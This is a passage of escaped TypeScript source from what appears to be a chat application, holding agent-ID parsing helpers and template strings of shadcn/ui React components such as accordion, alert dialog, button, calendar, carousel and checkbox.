undefined;\n }\n\n // First check for index suffix (separated by ____)\n let index: number | undefined;\n let workingId = agentId;\n if (agentId.includes('____')) {\n const lastIndexSep = agentId.lastIndexOf('____');\n const indexStr = agentId.slice(lastIndexSep + 4);\n const parsedIndex = parseInt(indexStr, 10);\n if (!isNaN(parsedIndex)) {\n index = parsedIndex;\n workingId = agentId.slice(0, lastIndexSep);\n }\n }\n\n // Check for sender (separated by ___)\n let sender: string | undefined;\n let mainPart = workingId;\n if (workingId.includes('___')) {\n const [before, after] = workingId.split('___');\n mainPart = before;\n // Restore colons in sender if any\n sender = after?.replace(/__/g, ':');\n }\n\n const [endpoint, ...modelParts] = mainPart.split('__');\n if (!endpoint || modelParts.length === 0) {\n return undefined;\n }\n // Restore colons in model name (model names can contain colons like claude-3:opus)\n const model = modelParts.join(':');\n return { endpoint, model, sender, index };\n}\n\n/**\n * Checks if an agent ID represents an ephemeral (non-saved) agent.\n * Real agent IDs always start with \"agent_\", so anything else is ephemeral.\n */\nexport function isEphemeralAgentId(agentId: string | null | undefined): boolean {\n return !agentId?.startsWith('agent_');\n}\n\n/**\n * Strips the index suffix (____N) from an agent ID if present.\n * Works with both ephemeral and real agent IDs.\n *\n * @example\n * stripAgentIdSuffix('agent_abc123____1') // => 'agent_abc123'\n * stripAgentIdSuffix('openAI__gpt-4o___GPT-4o____1') // => 'openAI__gpt-4o___GPT-4o'\n * stripAgentIdSuffix('agent_abc123') // => 'agent_abc123' (unchanged)\n */\nexport function stripAgentIdSuffix(agentId: string): string {\n return agentId.replace(/____\\d+$/, '');\n}\n\n/**\n * Appends an index suffix (____N) to an agent ID.\n * Used to distinguish parallel agents with the same base ID.\n *\n * @example\n * appendAgentIdSuffix('agent_abc123', 1) // => 'agent_abc123____1'\n * appendAgentIdSuffix('openAI__gpt-4o___GPT-4o', 1) // => 'openAI__gpt-4o___GPT-4o____1'\n */\nexport function appendAgentIdSuffix(agentId: string, index: number): string {\n return `${agentId}____${index}`;\n}\n","export enum ArtifactModes {\n DEFAULT = 'default',\n SHADCNUI = 'shadcnui',\n CUSTOM = 'custom',\n}\n\nexport const utils = `\nimport { type ClassValue, clsx } from \"clsx\"\nimport { twMerge } from \"tailwind-merge\"\n\nexport function cn(...inputs: ClassValue[]) {\n return twMerge(clsx(inputs))\n}\n`;\nexport const accordian = `import * as React from \"react\"\nimport * as AccordionPrimitive from \"@radix-ui/react-accordion\"\nimport { ChevronDown } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Accordion = AccordionPrimitive.Root\n\nconst AccordionItem = React.forwardRef<\n React.ElementRef<typeof AccordionPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Item>\n>(({ className, ...props }, ref) => (\n <AccordionPrimitive.Item\n ref={ref}\n className={cn(\"border-b\", className)}\n {...props}\n />\n))\nAccordionItem.displayName = \"AccordionItem\"\n\nconst AccordionTrigger = React.forwardRef<\n React.ElementRef<typeof AccordionPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <AccordionPrimitive.Header className=\"flex\">\n <AccordionPrimitive.Trigger\n ref={ref}\n className={cn(\n \"flex flex-1 items-center justify-between py-4 font-medium transition-all hover:underline [&[data-state=open]>svg]:rotate-180\",\n className\n )}\n {...props}\n >\n {children}\n <ChevronDown className=\"h-4 w-4 shrink-0 transition-transform duration-200\" />\n </AccordionPrimitive.Trigger>\n </AccordionPrimitive.Header>\n))\nAccordionTrigger.displayName = AccordionPrimitive.Trigger.displayName\n\nconst AccordionContent = React.forwardRef<\n React.ElementRef<typeof AccordionPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n <AccordionPrimitive.Content\n ref={ref}\n className=\"overflow-hidden text-sm transition-all data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down\"\n {...props}\n >\n <div className={cn(\"pb-4 pt-0\", className)}>{children}</div>\n </AccordionPrimitive.Content>\n))\n\nAccordionContent.displayName = AccordionPrimitive.Content.displayName\n\nexport { Accordion, AccordionItem, AccordionTrigger, AccordionContent }\n`;\nexport const alertDialog = `import * as React from \"react\"\nimport * as AlertDialogPrimitive from \"@radix-ui/react-alert-dialog\"\n\nimport { cn } from \"../../lib/utils\"\nimport { buttonVariants } from \"./button\"\n\nconst AlertDialog = AlertDialogPrimitive.Root\n\nconst AlertDialogTrigger = AlertDialogPrimitive.Trigger\n\nconst AlertDialogPortal = AlertDialogPrimitive.Portal\n\nconst AlertDialogOverlay = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Overlay>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Overlay\n className={cn(\n \"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n className\n )}\n {...props}\n ref={ref}\n />\n))\nAlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName\n\nconst AlertDialogContent = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Content>\n>(({ className, ...props }, ref) => (\n <AlertDialogPortal>\n <AlertDialogOverlay />\n <AlertDialogPrimitive.Content\n ref={ref}\n className={cn(\n \"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border border-gray-200 bg-white p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n />\n </AlertDialogPortal>\n))\nAlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName\n\nconst AlertDialogHeader = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col space-y-2 text-center sm:text-left\",\n className\n )}\n {...props}\n />\n)\nAlertDialogHeader.displayName = \"AlertDialogHeader\"\n\nconst AlertDialogFooter = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n <div\n className={cn(\n \"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2\",\n className\n )}\n {...props}\n />\n)\nAlertDialogFooter.displayName = \"AlertDialogFooter\"\n\nconst AlertDialogTitle = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Title>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Title\n ref={ref}\n className={cn(\"text-lg font-semibold\", className)}\n {...props}\n />\n))\nAlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName\n\nconst AlertDialogDescription = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Description>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Description\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nAlertDialogDescription.displayName =\n AlertDialogPrimitive.Description.displayName\n\nconst AlertDialogAction = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Action>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Action>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Action\n ref={ref}\n className={cn(buttonVariants(), className)}\n {...props}\n />\n))\nAlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName\n\nconst AlertDialogCancel = React.forwardRef<\n React.ElementRef<typeof AlertDialogPrimitive.Cancel>,\n React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Cancel>\n>(({ className, ...props }, ref) => (\n <AlertDialogPrimitive.Cancel\n ref={ref}\n className={cn(\n buttonVariants({ variant: \"outline\" }),\n \"mt-2 sm:mt-0\",\n className\n )}\n {...props}\n />\n))\nAlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName\n\nexport {\n AlertDialog,\n AlertDialogPortal,\n AlertDialogOverlay,\n AlertDialogTrigger,\n AlertDialogContent,\n AlertDialogHeader,\n AlertDialogFooter,\n AlertDialogTitle,\n AlertDialogDescription,\n AlertDialogAction,\n AlertDialogCancel,\n}\n`;\nexport const alert = `import * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst alertVariants = cva(\n \"relative w-full rounded-lg border border-gray-200 p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-gray-950 dark:border-gray-800 dark:[&>svg]:text-gray-50\",\n {\n variants: {\n variant: {\n default: \"bg-white text-gray-950 dark:bg-gray-950 dark:text-gray-50\",\n destructive:\n \"border-red-500/50 text-red-500 dark:border-red-500 [&>svg]:text-red-500 dark:border-red-900/50 dark:text-red-900 dark:dark:border-red-900 dark:[&>svg]:text-red-900\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n },\n }\n)\n\nconst Alert = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>\n>(({ className, variant, ...props }, ref) => (\n <div\n ref={ref}\n role=\"alert\"\n className={cn(alertVariants({ variant }), className)}\n {...props}\n />\n))\nAlert.displayName = \"Alert\"\n\nconst AlertTitle = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n <h5\n ref={ref}\n className={cn(\"mb-1 font-medium leading-none tracking-tight\", className)}\n {...props}\n />\n))\nAlertTitle.displayName = \"AlertTitle\"\n\nconst AlertDescription = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\"text-sm [&_p]:leading-relaxed\", className)}\n {...props}\n />\n))\nAlertDescription.displayName = \"AlertDescription\"\n\nexport { Alert, AlertTitle, AlertDescription }\n\n`;\nexport const avatar = `import * as React from \"react\"\nimport * as AvatarPrimitive from \"@radix-ui/react-avatar\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Avatar = React.forwardRef<\n React.ElementRef<typeof AvatarPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <AvatarPrimitive.Root\n ref={ref}\n className={cn(\n \"relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full\",\n className\n )}\n {...props}\n />\n))\nAvatar.displayName = AvatarPrimitive.Root.displayName\n\nconst AvatarImage = React.forwardRef<\n React.ElementRef<typeof AvatarPrimitive.Image>,\n React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>\n>(({ className, ...props }, ref) => (\n <AvatarPrimitive.Image\n ref={ref}\n className={cn(\"aspect-square h-full w-full\", className)}\n {...props}\n />\n))\nAvatarImage.displayName = AvatarPrimitive.Image.displayName\n\nconst AvatarFallback = React.forwardRef<\n React.ElementRef<typeof AvatarPrimitive.Fallback>,\n React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>\n>(({ className, ...props }, ref) => (\n <AvatarPrimitive.Fallback\n ref={ref}\n className={cn(\n \"flex h-full w-full items-center justify-center rounded-full bg-gray-100 dark:bg-gray-800\",\n className\n )}\n {...props}\n />\n))\nAvatarFallback.displayName = AvatarPrimitive.Fallback.displayName\n\nexport { Avatar, AvatarImage, AvatarFallback }\n\n`;\nexport const badge = `import * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst badgeVariants = cva(\n \"inline-flex items-center rounded-full border border-gray-200 px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 dark:border-gray-800 dark:focus:ring-gray-300\",\n {\n variants: {\n variant: {\n default:\n \"border-transparent bg-gray-900 text-gray-50 hover:bg-gray-900/80 dark:bg-gray-50 dark:text-gray-900 dark:hover:bg-gray-50/80\",\n secondary:\n \"border-transparent bg-gray-100 text-gray-900 hover:bg-gray-100/80 dark:bg-gray-800 dark:text-gray-50 dark:hover:bg-gray-800/80\",\n destructive:\n \"border-transparent bg-red-500 text-gray-50 hover:bg-red-500/80 dark:bg-red-900 dark:text-gray-50 dark:hover:bg-red-900/80\",\n outline: \"text-gray-950 dark:text-gray-50\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n },\n }\n)\n\nexport interface BadgeProps\n extends React.HTMLAttributes<HTMLDivElement>,\n VariantProps<typeof badgeVariants> {}\n\nfunction Badge({ className, variant, ...props }: BadgeProps) {\n return (\n <div className={cn(badgeVariants({ variant }), className)} {...props} />\n )\n}\n\nexport { Badge, badgeVariants }\n\n`;\nexport const breadcrumb = `import * as React from \"react\"\nimport { Slot } from \"@radix-ui/react-slot\"\nimport { ChevronRight, MoreHorizontal } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Breadcrumb = React.forwardRef<\n HTMLElement,\n React.ComponentPropsWithoutRef<\"nav\"> & {\n separator?: React.ReactNode\n }\n>(({ ...props }, ref) => <nav ref={ref} aria-label=\"breadcrumb\" {...props} />)\nBreadcrumb.displayName = \"Breadcrumb\"\n\nconst BreadcrumbList = React.forwardRef<\n HTMLOListElement,\n React.ComponentPropsWithoutRef<\"ol\">\n>(({ className, ...props }, ref) => (\n <ol\n ref={ref}\n className={cn(\n \"flex flex-wrap items-center gap-1.5 break-words text-sm text-gray-500 sm:gap-2.5 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n))\nBreadcrumbList.displayName = \"BreadcrumbList\"\n\nconst BreadcrumbItem = React.forwardRef<\n HTMLLIElement,\n React.ComponentPropsWithoutRef<\"li\">\n>(({ className, ...props }, ref) => (\n <li\n ref={ref}\n className={cn(\"inline-flex items-center gap-1.5\", className)}\n {...props}\n />\n))\nBreadcrumbItem.displayName = \"BreadcrumbItem\"\n\nconst BreadcrumbLink = React.forwardRef<\n HTMLAnchorElement,\n React.ComponentPropsWithoutRef<\"a\"> & {\n asChild?: boolean\n }\n>(({ asChild, className, ...props }, ref) => {\n const Comp = asChild ? Slot : \"a\"\n\n return (\n <Comp\n ref={ref}\n className={cn(\"transition-colors hover:text-gray-950 dark:hover:text-gray-50\", className)}\n {...props}\n />\n )\n})\nBreadcrumbLink.displayName = \"BreadcrumbLink\"\n\nconst BreadcrumbPage = React.forwardRef<\n HTMLSpanElement,\n React.ComponentPropsWithoutRef<\"span\">\n>(({ className, ...props }, ref) => (\n <span\n ref={ref}\n role=\"link\"\n aria-disabled=\"true\"\n aria-current=\"page\"\n className={cn(\"font-normal text-gray-950 dark:text-gray-50\", className)}\n {...props}\n />\n))\nBreadcrumbPage.displayName = \"BreadcrumbPage\"\n\nconst BreadcrumbSeparator = ({\n children,\n className,\n ...props\n}: React.ComponentProps<\"li\">) => (\n <li\n role=\"presentation\"\n aria-hidden=\"true\"\n className={cn(\"[&>svg]:size-3.5\", className)}\n {...props}\n >\n {children ?? <ChevronRight />}\n </li>\n)\nBreadcrumbSeparator.displayName = \"BreadcrumbSeparator\"\n\nconst BreadcrumbEllipsis = ({\n className,\n ...props\n}: React.ComponentProps<\"span\">) => (\n <span\n role=\"presentation\"\n aria-hidden=\"true\"\n className={cn(\"flex h-9 w-9 items-center justify-center\", className)}\n {...props}\n >\n <MoreHorizontal className=\"h-4 w-4\" />\n <span className=\"sr-only\">More</span>\n </span>\n)\nBreadcrumbEllipsis.displayName = \"BreadcrumbElipssis\"\n\nexport {\n Breadcrumb,\n BreadcrumbList,\n BreadcrumbItem,\n BreadcrumbLink,\n BreadcrumbPage,\n BreadcrumbSeparator,\n BreadcrumbEllipsis,\n}\n\n`;\nexport const button = `import * as React from \"react\"\nimport { Slot } from \"@radix-ui/react-slot\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from '../../lib/utils';\n\nconst buttonVariants = cva(\n \"inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-white transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\",\n {\n variants: {\n variant: {\n default: \"bg-gray-900 text-gray-50 hover:bg-gray-900/90 dark:bg-gray-50 dark:text-gray-900 dark:hover:bg-gray-50/90\",\n destructive:\n \"bg-red-500 text-gray-50 hover:bg-red-500/90 dark:bg-red-900 dark:text-gray-50 dark:hover:bg-red-900/90\",\n outline:\n \"border border-gray-200 bg-white hover:bg-gray-100 hover:text-gray-900 dark:border-gray-800 dark:bg-gray-950 dark:hover:bg-gray-800 dark:hover:text-gray-50\",\n secondary:\n \"bg-gray-100 text-gray-900 hover:bg-gray-100/80 dark:bg-gray-800 dark:text-gray-50 dark:hover:bg-gray-800/80\",\n ghost: \"hover:bg-gray-100 hover:text-gray-900 dark:hover:bg-gray-800 dark:hover:text-gray-50\",\n link: \"text-gray-900 underline-offset-4 hover:underline dark:text-gray-50\",\n },\n size: {\n default: \"h-10 px-4 py-2\",\n sm: \"h-9 rounded-md px-3\",\n lg: \"h-11 rounded-md px-8\",\n icon: \"h-10 w-10\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n size: \"default\",\n },\n }\n)\n\nexport interface ButtonProps\n extends React.ButtonHTMLAttributes<HTMLButtonElement>,\n VariantProps<typeof buttonVariants> {\n asChild?: boolean\n}\n\nconst Button = React.forwardRef<HTMLButtonElement, ButtonProps>(\n ({ className, variant, size, asChild = false, ...props }, ref) => {\n const Comp = asChild ? Slot : \"button\"\n return (\n <Comp\n className={cn(buttonVariants({ variant, size, className }))}\n ref={ref}\n {...props}\n />\n )\n }\n)\nButton.displayName = \"Button\"\n\nexport { Button, buttonVariants }\n`;\nexport const calendar = `import * as React from \"react\"\nimport { ChevronLeft, ChevronRight } from \"lucide-react\"\nimport { DayPicker } from \"react-day-picker\"\n\nimport { cn } from \"../../lib/utils\"\nimport { buttonVariants } from \"./button\"\n\nexport type CalendarProps = React.ComponentProps<typeof DayPicker>\n\nfunction Calendar({\n className,\n classNames,\n showOutsideDays = true,\n ...props\n}: CalendarProps) {\n return (\n <DayPicker\n showOutsideDays={showOutsideDays}\n className={cn(\"p-3\", className)}\n classNames={{\n months: \"flex flex-col sm:flex-row space-y-4 sm:space-x-4 sm:space-y-0\",\n month: \"space-y-4\",\n caption: \"flex justify-center pt-1 relative items-center\",\n caption_label: \"text-sm font-medium\",\n nav: \"space-x-1 flex items-center\",\n nav_button: cn(\n buttonVariants({ variant: \"outline\" }),\n \"h-7 w-7 bg-transparent p-0 opacity-50 hover:opacity-100\"\n ),\n nav_button_previous: \"absolute left-1\",\n nav_button_next: \"absolute right-1\",\n table: \"w-full border-collapse space-y-1\",\n head_row: \"flex\",\n head_cell:\n \"text-gray-500 rounded-md w-9 font-normal text-[0.8rem] dark:text-gray-400\",\n row: \"flex w-full mt-2\",\n cell: \"h-9 w-9 text-center text-sm p-0 relative [&:has([aria-selected].day-range-end)]:rounded-r-md [&:has([aria-selected].day-outside)]:bg-gray-100/50 [&:has([aria-selected])]:bg-gray-100 first:[&:has([aria-selected])]:rounded-l-md last:[&:has([aria-selected])]:rounded-r-md focus-within:relative focus-within:z-20 dark:[&:has([aria-selected].day-outside)]:bg-gray-800/50 dark:[&:has([aria-selected])]:bg-gray-800\",\n day: cn(\n buttonVariants({ variant: \"ghost\" }),\n \"h-9 w-9 p-0 font-normal aria-selected:opacity-100\"\n ),\n day_range_end: \"day-range-end\",\n day_selected:\n \"bg-gray-900 text-gray-50 hover:bg-gray-900 hover:text-gray-50 focus:bg-gray-900 focus:text-gray-50 dark:bg-gray-50 dark:text-gray-900 dark:hover:bg-gray-50 dark:hover:text-gray-900 dark:focus:bg-gray-50 dark:focus:text-gray-900\",\n day_today: \"bg-gray-100 text-gray-900 dark:bg-gray-800 dark:text-gray-50\",\n day_outside:\n \"day-outside text-gray-500 opacity-50 aria-selected:bg-gray-100/50 aria-selected:text-gray-500 aria-selected:opacity-30 dark:text-gray-400 dark:aria-selected:bg-gray-800/50 dark:aria-selected:text-gray-400\",\n day_disabled: \"text-gray-500 opacity-50 dark:text-gray-400\",\n day_range_middle:\n \"aria-selected:bg-gray-100 aria-selected:text-gray-900 dark:aria-selected:bg-gray-800 dark:aria-selected:text-gray-50\",\n day_hidden: \"invisible\",\n ...classNames,\n }}\n components={{\n IconLeft: ({ ...props }) => <ChevronLeft className=\"h-4 w-4\" />,\n IconRight: ({ ...props }) => <ChevronRight className=\"h-4 w-4\" />,\n }}\n {...props}\n />\n )\n}\nCalendar.displayName = \"Calendar\"\n\nexport { Calendar }\n\n`;\nexport const card = `import * as React from 'react';\n\nimport { cn } from '../../lib/utils';\n\nconst Card = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\n \"rounded-lg border border-gray-200 bg-white text-gray-950 shadow-sm dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nCard.displayName = \"Card\"\n\nconst CardHeader = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\"flex flex-col space-y-1.5 p-6\", className)}\n {...props}\n />\n))\nCardHeader.displayName = \"CardHeader\"\n\nconst CardTitle = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n <h3\n ref={ref}\n className={cn(\n \"text-2xl font-semibold leading-none tracking-tight\",\n className\n )}\n {...props}\n />\n))\nCardTitle.displayName = \"CardTitle\"\n\nconst CardDescription = React.forwardRef<\n HTMLParagraphElement,\n React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n <p\n ref={ref}\n className={cn(\"text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nCardDescription.displayName = \"CardDescription\"\n\nconst CardContent = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div ref={ref} className={cn(\"p-6 pt-0\", className)} {...props} />\n))\nCardContent.displayName = \"CardContent\"\n\nconst CardFooter = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n <div\n ref={ref}\n className={cn(\"flex items-center p-6 pt-0\", className)}\n {...props}\n />\n))\nCardFooter.displayName = \"CardFooter\"\n\nexport { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }\n`;\nexport const carousel = `import * as React from \"react\"\nimport useEmblaCarousel, {\n type UseEmblaCarouselType,\n} from \"embla-carousel-react\"\nimport { ArrowLeft, ArrowRight } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\nimport { Button } from \"./button\"\n\ntype CarouselApi = UseEmblaCarouselType[1]\ntype UseCarouselParameters = Parameters<typeof useEmblaCarousel>\ntype CarouselOptions = UseCarouselParameters[0]\ntype CarouselPlugin = UseCarouselParameters[1]\n\ntype CarouselProps = {\n opts?: CarouselOptions\n plugins?: CarouselPlugin\n orientation?: \"horizontal\" | \"vertical\"\n setApi?: (api: CarouselApi) => void\n}\n\ntype CarouselContextProps = {\n carouselRef: ReturnType<typeof useEmblaCarousel>[0]\n api: ReturnType<typeof useEmblaCarousel>[1]\n scrollPrev: () => void\n scrollNext: () => void\n canScrollPrev: boolean\n canScrollNext: boolean\n} & CarouselProps\n\nconst CarouselContext = React.createContext<CarouselContextProps | null>(null)\n\nfunction useCarousel() {\n const context = React.useContext(CarouselContext)\n\n if (!context) {\n throw new Error(\"useCarousel must be used within a <Carousel />\")\n }\n\n return context\n}\n\nconst Carousel = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement> & CarouselProps\n>(\n (\n {\n orientation = \"horizontal\",\n opts,\n setApi,\n plugins,\n className,\n children,\n ...props\n },\n ref\n ) => {\n const [carouselRef, api] = useEmblaCarousel(\n {\n ...opts,\n axis: orientation === \"horizontal\" ? \"x\" : \"y\",\n },\n plugins\n )\n const [canScrollPrev, setCanScrollPrev] = React.useState(false)\n const [canScrollNext, setCanScrollNext] = React.useState(false)\n\n const onSelect = React.useCallback((api: CarouselApi) => {\n if (!api) {\n return\n }\n\n setCanScrollPrev(api.canScrollPrev())\n setCanScrollNext(api.canScrollNext())\n }, [])\n\n const scrollPrev = React.useCallback(() => {\n api?.scrollPrev()\n }, [api])\n\n const scrollNext = React.useCallback(() => {\n api?.scrollNext()\n }, [api])\n\n const handleKeyDown = React.useCallback(\n (event: React.KeyboardEvent<HTMLDivElement>) => {\n if (event.key === \"ArrowLeft\") {\n event.preventDefault()\n scrollPrev()\n } else if (event.key === \"ArrowRight\") {\n event.preventDefault()\n scrollNext()\n }\n },\n [scrollPrev, scrollNext]\n )\n\n React.useEffect(() => {\n if (!api || !setApi) {\n return\n }\n\n setApi(api)\n }, [api, setApi])\n\n React.useEffect(() => {\n if (!api) {\n return\n }\n\n onSelect(api)\n api.on(\"reInit\", onSelect)\n api.on(\"select\", onSelect)\n\n return () => {\n api?.off(\"select\", onSelect)\n }\n }, [api, onSelect])\n\n return (\n <CarouselContext.Provider\n value={{\n carouselRef,\n api: api,\n opts,\n orientation:\n orientation || (opts?.axis === \"y\" ? \"vertical\" : \"horizontal\"),\n scrollPrev,\n scrollNext,\n canScrollPrev,\n canScrollNext,\n }}\n >\n <div\n ref={ref}\n onKeyDownCapture={handleKeyDown}\n className={cn(\"relative\", className)}\n role=\"region\"\n aria-roledescription=\"carousel\"\n {...props}\n >\n {children}\n </div>\n </CarouselContext.Provider>\n )\n }\n)\nCarousel.displayName = \"Carousel\"\n\nconst CarouselContent = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n const { carouselRef, orientation } = useCarousel()\n\n return (\n <div ref={carouselRef} className=\"overflow-hidden\">\n <div\n ref={ref}\n className={cn(\n \"flex\",\n orientation === \"horizontal\" ? \"-ml-4\" : \"-mt-4 flex-col\",\n className\n )}\n {...props}\n />\n </div>\n )\n})\nCarouselContent.displayName = \"CarouselContent\"\n\nconst CarouselItem = React.forwardRef<\n HTMLDivElement,\n React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n const { orientation } = useCarousel()\n\n return (\n <div\n ref={ref}\n role=\"group\"\n aria-roledescription=\"slide\"\n className={cn(\n \"min-w-0 shrink-0 grow-0 basis-full\",\n orientation === \"horizontal\" ? \"pl-4\" : \"pt-4\",\n className\n )}\n {...props}\n />\n )\n})\nCarouselItem.displayName = \"CarouselItem\"\n\nconst CarouselPrevious = React.forwardRef<\n HTMLButtonElement,\n React.ComponentProps<typeof Button>\n>(({ className, variant = \"outline\", size = \"icon\", ...props }, ref) => {\n const { orientation, scrollPrev, canScrollPrev } = useCarousel()\n\n return (\n <Button\n ref={ref}\n variant={variant}\n size={size}\n className={cn(\n \"absolute h-8 w-8 rounded-full\",\n orientation === \"horizontal\"\n ? \"-left-12 top-1/2 -translate-y-1/2\"\n : \"-top-12 left-1/2 -translate-x-1/2 rotate-90\",\n className\n )}\n disabled={!canScrollPrev}\n onClick={scrollPrev}\n {...props}\n >\n <ArrowLeft className=\"h-4 w-4\" />\n <span className=\"sr-only\">Previous slide</span>\n </Button>\n )\n})\nCarouselPrevious.displayName = \"CarouselPrevious\"\n\nconst CarouselNext = React.forwardRef<\n HTMLButtonElement,\n React.ComponentProps<typeof Button>\n>(({ className, variant = \"outline\", size = \"icon\", ...props }, ref) => {\n const { orientation, scrollNext, canScrollNext } = useCarousel()\n\n return (\n <Button\n ref={ref}\n variant={variant}\n size={size}\n className={cn(\n \"absolute h-8 w-8 rounded-full\",\n orientation === \"horizontal\"\n ? \"-right-12 top-1/2 -translate-y-1/2\"\n : \"-bottom-12 left-1/2 -translate-x-1/2 rotate-90\",\n className\n )}\n disabled={!canScrollNext}\n onClick={scrollNext}\n {...props}\n >\n <ArrowRight className=\"h-4 w-4\" />\n <span className=\"sr-only\">Next slide</span>\n </Button>\n )\n})\nCarouselNext.displayName = \"CarouselNext\"\n\nexport {\n type CarouselApi,\n Carousel,\n CarouselContent,\n CarouselItem,\n CarouselPrevious,\n CarouselNext,\n}\n\n`;\nexport const checkbox = `import * as React from \"react\"\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\"\nimport { Check } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Checkbox = React.forwardRef<\n React.ElementRef<typeof CheckboxPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof CheckboxPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <CheckboxPrimitive.Root\n ref={ref}\n className={cn(\n \"peer h-4 w-4 shrink-0 rounded-sm border border-gray-200 dark:border-gray-900 ring-offset-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-gray-900 